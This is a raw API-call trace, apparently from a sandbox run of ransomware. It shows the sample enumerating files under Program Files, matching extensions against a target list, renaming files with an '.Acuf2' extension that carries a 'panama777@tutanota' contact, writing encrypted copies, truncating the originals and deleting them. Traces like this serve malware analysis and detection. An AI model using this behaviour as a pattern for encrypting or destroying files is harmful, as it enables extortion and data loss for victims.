	[0055.377] lstrcmpiW (lpString1=".wmv", lpString2=".Acuf2") returned 1
	[0055.377] lstrlenW (lpString="BabyBoyScenesBackground_PAL.wmv") returned 31
	[0055.377] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.377] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=125292) returned 1
	[0055.377] CloseHandle (hObject=0x184) returned 1
	[0055.378] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20
	[0055.378] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.378] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.378] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.378] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.378] lstrlenW (lpString=".doc") returned 4
	[0055.378] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0055.378] lstrlenW (lpString=".docx") returned 5
	[0055.379] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0055.379] lstrlenW (lpString=".pdf") returned 4
	[0055.379] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0055.379] lstrlenW (lpString=".xls") returned 4
	[0055.379] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0055.379] lstrlenW (lpString=".xlsx") returned 5
	[0055.379] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0055.379] lstrlenW (lpString=".ppt") returned 4
	[0055.379] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0055.379] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.379] lstrlenW (lpString=".zip") returned 4
	[0055.379] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0055.379] lstrlenW (lpString=".rar") returned 4
	[0055.379] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0055.379] lstrlenW (lpString=".bz2") returned 4
	[0055.379] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0055.379] lstrlenW (lpString=".7z") returned 3
	[0055.379] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0055.379] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.379] lstrlenW (lpString=".dbf") returned 4
	[0055.379] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0055.379] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.379] lstrlenW (lpString=".1cd") returned 4
	[0055.379] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0055.379] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.379] lstrlenW (lpString=".jpg") returned 4
	[0055.379] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0055.380] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.380] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.380] lstrlenW (lpString=".doc") returned 4
	[0055.380] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0055.380] lstrlenW (lpString=".docx") returned 5
	[0055.380] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0055.380] lstrlenW (lpString=".pdf") returned 4
	[0055.380] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0055.380] lstrlenW (lpString=".xls") returned 4
	[0055.380] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0055.380] lstrlenW (lpString=".xlsx") returned 5
	[0055.380] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0055.380] lstrlenW (lpString=".ppt") returned 4
	[0055.380] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0055.380] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.380] lstrlenW (lpString=".zip") returned 4
	[0055.380] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0055.380] lstrlenW (lpString=".rar") returned 4
	[0055.380] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0055.380] lstrlenW (lpString=".bz2") returned 4
	[0055.380] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0055.380] lstrlenW (lpString=".7z") returned 3
	[0055.380] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0055.380] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.380] lstrlenW (lpString=".dbf") returned 4
	[0055.380] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0055.380] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.380] lstrlenW (lpString=".1cd") returned 4
	[0055.381] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0055.381] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83
	[0055.381] lstrlenW (lpString=".jpg") returned 4
	[0055.381] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0055.381] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0055.381] lstrlenW (lpString="LightBlueRectangle.PNG") returned 22
	[0055.381] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.381] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=220) returned 1
	[0055.381] CloseHandle (hObject=0x184) returned 1
	[0055.381] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20
	[0055.381] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.381] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.382] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.382] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.382] lstrlenW (lpString=".doc") returned 4
	[0055.382] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0055.382] lstrlenW (lpString=".docx") returned 5
	[0055.382] lstrcmpiW (lpString1=".docx", lpString2="e.PNG") returned -1
	[0055.382] lstrlenW (lpString=".pdf") returned 4
	[0055.382] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0055.382] lstrlenW (lpString=".xls") returned 4
	[0055.382] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0055.382] lstrlenW (lpString=".xlsx") returned 5
	[0055.382] lstrcmpiW (lpString1=".xlsx", lpString2="e.PNG") returned -1
	[0055.382] lstrlenW (lpString=".ppt") returned 4
	[0055.382] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0055.382] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.382] lstrlenW (lpString=".zip") returned 4
	[0055.382] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0055.382] lstrlenW (lpString=".rar") returned 4
	[0055.382] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0055.382] lstrlenW (lpString=".bz2") returned 4
	[0055.382] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0055.382] lstrlenW (lpString=".7z") returned 3
	[0055.382] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0055.382] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.382] lstrlenW (lpString=".dbf") returned 4
	[0055.382] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0055.382] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.382] lstrlenW (lpString=".1cd") returned 4
	[0055.382] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0055.382] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.383] lstrlenW (lpString=".jpg") returned 4
	[0055.383] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0055.383] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.383] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.383] lstrlenW (lpString=".doc") returned 4
	[0055.383] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0055.383] lstrlenW (lpString=".docx") returned 5
	[0055.383] lstrcmpiW (lpString1=".docx", lpString2="e.PNG") returned -1
	[0055.383] lstrlenW (lpString=".pdf") returned 4
	[0055.383] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0055.383] lstrlenW (lpString=".xls") returned 4
	[0055.383] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0055.383] lstrlenW (lpString=".xlsx") returned 5
	[0055.383] lstrcmpiW (lpString1=".xlsx", lpString2="e.PNG") returned -1
	[0055.383] lstrlenW (lpString=".ppt") returned 4
	[0055.383] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0055.383] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.383] lstrlenW (lpString=".zip") returned 4
	[0055.383] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0055.383] lstrlenW (lpString=".rar") returned 4
	[0055.383] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0055.383] lstrlenW (lpString=".bz2") returned 4
	[0055.383] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0055.383] lstrlenW (lpString=".7z") returned 3
	[0055.383] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0055.383] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.383] lstrlenW (lpString=".dbf") returned 4
	[0055.383] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0055.384] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.384] lstrlenW (lpString=".1cd") returned 4
	[0055.384] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0055.384] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74
	[0055.384] lstrlenW (lpString=".jpg") returned 4
	[0055.384] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0055.384] lstrcmpiW (lpString1=".png", lpString2=".Acuf2") returned 1
	[0055.384] lstrlenW (lpString="MainMenuButtonIcon.png") returned 22
	[0055.384] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.384] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2922) returned 1
	[0055.384] CloseHandle (hObject=0x184) returned 1
	[0055.384] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20
	[0055.384] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.384] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.384] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.385] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.385] lstrlenW (lpString=".doc") returned 4
	[0055.385] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0055.385] lstrlenW (lpString=".docx") returned 5
	[0055.385] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1
	[0055.385] lstrlenW (lpString=".pdf") returned 4
	[0055.385] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0055.385] lstrlenW (lpString=".xls") returned 4
	[0055.385] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0055.385] lstrlenW (lpString=".xlsx") returned 5
	[0055.385] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1
	[0055.385] lstrlenW (lpString=".ppt") returned 4
	[0055.385] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0055.385] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.385] lstrlenW (lpString=".zip") returned 4
	[0055.385] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0055.385] lstrlenW (lpString=".rar") returned 4
	[0055.385] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0055.385] lstrlenW (lpString=".bz2") returned 4
	[0055.385] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0055.385] lstrlenW (lpString=".7z") returned 3
	[0055.385] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0055.385] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.385] lstrlenW (lpString=".dbf") returned 4
	[0055.385] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0055.385] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.385] lstrlenW (lpString=".1cd") returned 4
	[0055.385] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0055.385] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.385] lstrlenW (lpString=".jpg") returned 4
	[0055.386] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0055.386] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.386] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.386] lstrlenW (lpString=".doc") returned 4
	[0055.386] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0055.386] lstrlenW (lpString=".docx") returned 5
	[0055.386] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1
	[0055.386] lstrlenW (lpString=".pdf") returned 4
	[0055.386] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0055.386] lstrlenW (lpString=".xls") returned 4
	[0055.386] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0055.386] lstrlenW (lpString=".xlsx") returned 5
	[0055.386] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1
	[0055.386] lstrlenW (lpString=".ppt") returned 4
	[0055.386] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0055.386] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.386] lstrlenW (lpString=".zip") returned 4
	[0055.386] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0055.386] lstrlenW (lpString=".rar") returned 4
	[0055.386] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0055.386] lstrlenW (lpString=".bz2") returned 4
	[0055.386] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0055.386] lstrlenW (lpString=".7z") returned 3
	[0055.386] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0055.386] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.386] lstrlenW (lpString=".dbf") returned 4
	[0055.386] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0055.386] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.386] lstrlenW (lpString=".1cd") returned 4
	[0055.387] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0055.387] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned 74
	[0055.387] lstrlenW (lpString=".jpg") returned 4
	[0055.387] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0055.387] lstrcmpiW (lpString1=".png", lpString2=".Acuf2") returned 1
	[0055.387] lstrlenW (lpString="navSubpicture.png") returned 17
	[0055.387] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0055.388] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3939) returned 1
	[0055.388] CloseHandle (hObject=0x184) returned 1
	[0055.388] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20
	[0055.388] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.388] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.389] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned 69
	[0055.389] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned 69
	[0055.389] lstrlenW (lpString=".doc") returned 4
	[0055.389] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0055.389] lstrlenW (lpString=".docx") returned 5
	[0055.389] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1
	[0055.389] lstrlenW (lpString=".pdf") returned 4
	[0055.389] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0055.389] lstrlenW (lpString=".xls") returned 4
	[0055.389] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1
	[0055.389] lstrlenW (lpString=".xlsx") returned 5
	[0055.389] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1
	[0055.389] lstrlenW (lpString=".ppt") returned 4
	[0055.389] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1
	[0055.389] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned 69
	[0055.389] lstrlenW (lpString=".zip") returned 4
	[0055.389] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1
	[0055.389] lstrlenW (lpString=".rar") returned 4
	[0055.389] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1
	[0055.389] lstrlenW (lpString=".bz2") returned 4
	[0055.389] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0055.389] lstrlenW (lpString=".7z") returned 3
	[0055.389] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0055.389] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned 69
	[0055.389] lstrlenW (lpString=".dbf") returned 4
	[0055.389] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0056.901] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0056.901] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0059.600] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.600] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.600] GetLastError () returned 0x0
	[0059.600] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x7d92, lpOverlapped=0x0) returned 1
	[0059.602] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7da0, lpOverlapped=0x0) returned 1
	[0059.603] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.603] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0059.603] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.604] CloseHandle (hObject=0x1a0) returned 1
	[0059.604] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.604] SetEndOfFile (hFile=0x184) returned 1
	[0059.605] CloseHandle (hObject=0x184) returned 1
	[0059.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1
